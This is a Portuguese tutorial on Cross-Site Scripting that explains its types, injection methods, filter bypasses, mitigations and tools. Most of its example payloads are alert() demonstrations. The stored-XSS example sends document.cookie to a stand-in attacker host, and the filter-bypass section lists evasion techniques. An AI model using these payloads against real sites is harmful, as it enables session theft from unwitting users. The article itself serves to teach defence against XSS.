XSS - Cross Site Scripting
O que é XSS? 🕵️♂️
Cross-Site Scripting (XSS) é uma vulnerabilidade de segurança encontrada em aplicações web que permite a injeção de scripts maliciosos em páginas visualizadas por outros usuários. Esse ataque pode resultar no roubo de cookies, redirecionamento de usuários, execução de ações não autorizadas e comprometimento de dados sensíveis .
XSS ocorre quando uma aplicação web insere dados não validados na resposta ao usuário, permitindo que scripts arbitrários sejam executados no navegador da vítima. Esse tipo de ataque é particularmente perigoso porque pode afetar qualquer usuário que interaja com a aplicação vulnerável.
Tipos de XSS ⚠️
Os principais tipos de ataques XSS são:
1. XSS Refletido (Reflected XSS) 🔄
O XSS refletido ocorre quando um script malicioso é injetado em uma requisição HTTP e refletido de volta na resposta da aplicação sem ser armazenado no servidor. Esse tipo de ataque geralmente ocorre através de links maliciosos que induzem a vítima a clicar e executar o script no contexto do seu navegador.
Exemplo:
http://vulneravel.com/search?q=
<script>
alert("XSS");
</script>
Se o site inserir o parâmetro q
diretamente no HTML sem sanitização, o script será executado quando a página carregar.
2. XSS Armazenado (Stored XSS) 💾
No XSS armazenado, o script malicioso é permanentemente armazenado no banco de dados da aplicação e exibido a qualquer usuário que acessar a página comprometida. Esse é o tipo mais perigoso de XSS, pois pode afetar um grande número de usuários sem que eles precisem interagir com um link específico.
Exemplo: Um invasor insere o seguinte código em um campo de comentários:
<script>
document.location = "http://malicioso.com?cookie=" + document.cookie;
</script>
Sempre que um usuário visualizar o comentário, seu cookie será enviado ao atacante.
3. XSS DOM (DOM-based XSS) 🏗️
Esse tipo de XSS ocorre quando um script malicioso manipula o DOM da página diretamente no navegador do usuário, sem que o ataque passe pelo servidor.
Exemplo:
var search = document.location.hash.substr(1);
document.getElementById("resultado").innerHTML = search;
Se um atacante enviar um link como http://vulneravel.com#<script>alert('XSS')</script>
, o script será inserido na página e executado.
4. XSS por Mutação (Mutation XSS) 🔄
O Mutation XSS acontece quando um navegador modifica automaticamente o código HTML injetado, transformando um payload aparentemente inofensivo em um script executável.
Exemplo:
<div id="output"></div>
<script>
var userInput = "<img src='x' onerror='alert(1)'>";
document.getElementById("output").innerHTML = userInput;
</script>
Embora o código pareça seguro, ao ser processado pelo navegador, ele reconhece a tag <img>
e executa o evento onerror
, disparando o alerta.
Métodos de Injeção 🏹
Os ataques XSS podem ser realizados por meio de diversas técnicas de injeção, incluindo:
1. Tags HTML 🏗️
Os invasores podem injetar scripts dentro de elementos HTML como <script>
e <img>
.
<script>
alert("XSS");
</script>
2. Eventos HTML 🎭
Scripts podem ser injetados em eventos de elementos HTML, como onmouseover
, onload
, onclick
, onerror
, etc.
<img src="inexistente.jpg" onerror="alert('XSS')" />
3. URL Maliciosas 🔗
Links contendo scripts podem ser enviados para usuários desavisados.
<a href="javascript:alert('XSS')">Clique aqui</a>
4. Manipulação do DOM 🔀
Algumas aplicações permitem que usuários injetem scripts através de manipulação do DOM.
document.write('<script>alert("XSS")</script>');
Bypass de Defesa 🎭
Algumas aplicações implementam proteções básicas contra XSS, mas atacantes experientes podem encontrar maneiras de contornar essas medidas, incluindo:
Encoding duplo de caracteres especiais.
Uso de tags HTML pouco comuns (
<svg>
,<math>
).Quebra de sintaxe para escapar de filtros básicos.
Injeção em atributos de eventos inline.
Mitigação e Prevenção 🛡️
Para evitar ataques XSS, as melhores práticas incluem:
Sanitização de entrada e saída: Utilizar bibliotecas como DOMPurify para limpar entradas de usuário.
Escape de caracteres especiais: Converter
<
em<
e>
em>
.Content Security Policy (CSP): Restringir execução de scripts apenas a fontes confiáveis.
Evitar
innerHTML
: UsartextContent
oucreateElement
em vez de manipular HTML diretamente.Validação no lado do servidor e cliente: Implementar regras rigorosas para entrada de usuários.
Ferramentas para Testes de XSS 🧪
Burp Suite – Ferramenta popular para testes de segurança web.
OWASP ZAP – Scanner de vulnerabilidades open-source.
XSS Hunter – Plataforma para exploração de XSS armazenado.
Dom XSS Scanner – Detecta vulnerabilidades em manipulações do DOM.
Curiosidade sobre XSS 🤯
Um dos primeiros casos conhecidos de XSS ocorreu em 2005 com o MySpace Samy Worm. O atacante, chamado Samy Kamkar, criou um worm que explorava uma falha de XSS no MySpace. Sempre que um usuário visitava seu perfil, o código malicioso era executado, adicionava automaticamente Samy como amigo e replicava o script para outros perfis. Em menos de 24 horas, mais de um milhão de perfis foram infectados, levando o MySpace a ficar temporariamente fora do ar.
Treinamento e Desafios 🎯
🔗 XSS Challenges - PwnFunction – Plataforma interativa com desafios práticos para explorar vulnerabilidades XSS, abrangendo desde conceitos básicos até técnicas avançadas de exploração. Além disso, oferece as soluções dos desafios, permitindo um aprendizado mais aprofundado.
Link XSS Payloads 🚀
🔗 Cross Site Scripting ( XSS ) Vulnerability Payload List
Conclusão ✅
XSS é uma vulnerabilidade grave que pode comprometer a segurança dos usuários e da aplicação web. Para prevenir ataques XSS, recomenda-se:
Sanitização e escape de entrada e saída de dados.
Uso de Content Security Policy (CSP).
Evitar
innerHTML
e utilizartextContent
sempre que possível.Implementar validações no lado do servidor e do cliente.
A segurança na web é um processo contínuo, e a proteção contra XSS deve ser uma prioridade para desenvolvedores e administradores de sistemas.
Autor
Atualizado